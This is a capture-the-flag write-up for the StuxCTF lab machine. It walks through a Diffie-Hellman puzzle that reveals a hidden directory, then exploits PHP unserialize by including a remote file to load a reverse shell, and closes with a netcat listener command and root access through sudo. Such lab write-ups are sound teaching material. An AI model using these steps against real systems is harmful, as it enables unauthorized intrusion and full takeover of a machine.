StuxCTF
StuxCTF, a machine with crypto, serealization, privilege escalation and more ...!
This room is free, and follows the CTF jeopardy style with two flags, user.txt
and root.txt
.
Reconnaissance
As always, start with a network scan of the machine, see what can be found!
Directory Discovery
The first thing that sparks curiosity is that "disallowed entry" in the robots.txt
file. Time to explore port 80.
It looks like the page is "blank", but do we really trust the author?! Time to check the source, see if there is something hidden.
There is a mention of a secret directory, and a handful of variables... I wonder what that is.
Okay, let's check the /robots.txt
file, see if there is a clue somewhere.
Okay, let's take a look at the Deffie-Hellman secret directory. How does it actually work?
The hint from the room is a good idea to take a look at.
Some pages to peek at:
I'm not that much of a fan of Wikipedia, but sometimes it does help understanding certain terms... The basics with what we find in different pages.
Algorithm parameters are p
and g
.
Private keys are a
, b
, and c
.
There are two keys given, a
and b
but c
is already computed - g^c
is a public key. However, we need the shared public key. This would resolve into computing all the private keys knowing the public key g^c mod p
.
Now everything is about computing both a
and b
from g^c mod p
. Adding a
would look like (g^c)^a) mod p
and also adding b
would resolve to (((g^c)^a)^b) mod p
.
How can this be solved?
Python, of course, is a really good option here!
Given the parameters we have, simply:
Remembering the hint, print the first 128 characters to get the hidden directory.
Again, take a look at the source code...
Trying to find files could be related to LFI, however, what if we try checking the most basic page first?
So there is this really long string of numbers, what can it actually be? Going for hex, changes the string into something starting with ==gC+8CIyJGP+wWb0h2L8ogPvAicixjP5R2bi9CPg
, which could definitely be base64 but looks like we have to reverse it first.
Decoding the text shows...
Looks like the PHP code is using the function unserialize
... Is there a way to exploit this?
Compromise the machine
Ah! Searching a bit found this, which has nearly the same exact code as shown just up ahead and offers a nice explanation.
So, it looks like that, to exploit this we need to:
Write serialized object in php
Direct the php into a simpler file
Open the file in the remote machine
Ideally, the first step will allow us to create a reverse shell that will then be saved as a text file (step 2) and hopefully, with our local python server, download the file into the remote machine - step 3.
Looking around for an example of the exploit, I found this showing some steps. What we want is:
Changing it to:
Now all that is left is change the $data
to use the shell_exec
function!
Now it's time for step 2: Direct the php into a simpler file - simply get a txt file with the content!
Hint: php shell.php > shell.txt
Onto step 3!
Open the file in the remote machine.
First start a python HTTP server in the same directory that holds the file.
python -m http.server
Get the file from the local machine into the remote by accessing /?file=<ip-address>:<port>/shell.txt
and set up a listener with nc -lnvp 4444
.
Now that the remote machine has the file, try getting the shell.php
file that is now on the remote machine.
Upgrade the shell. If you need some help, this explains it quite nicely.
From here, explore the home directory and get the user.txt
flag.
Privilege escalation
Now, let's find a way to escalate our privileges by checking sudo -l
.
Looks like there is no need to escalate!
Simply running sudo
will do.
I wonder, can we actually escalate privileges?
Last updated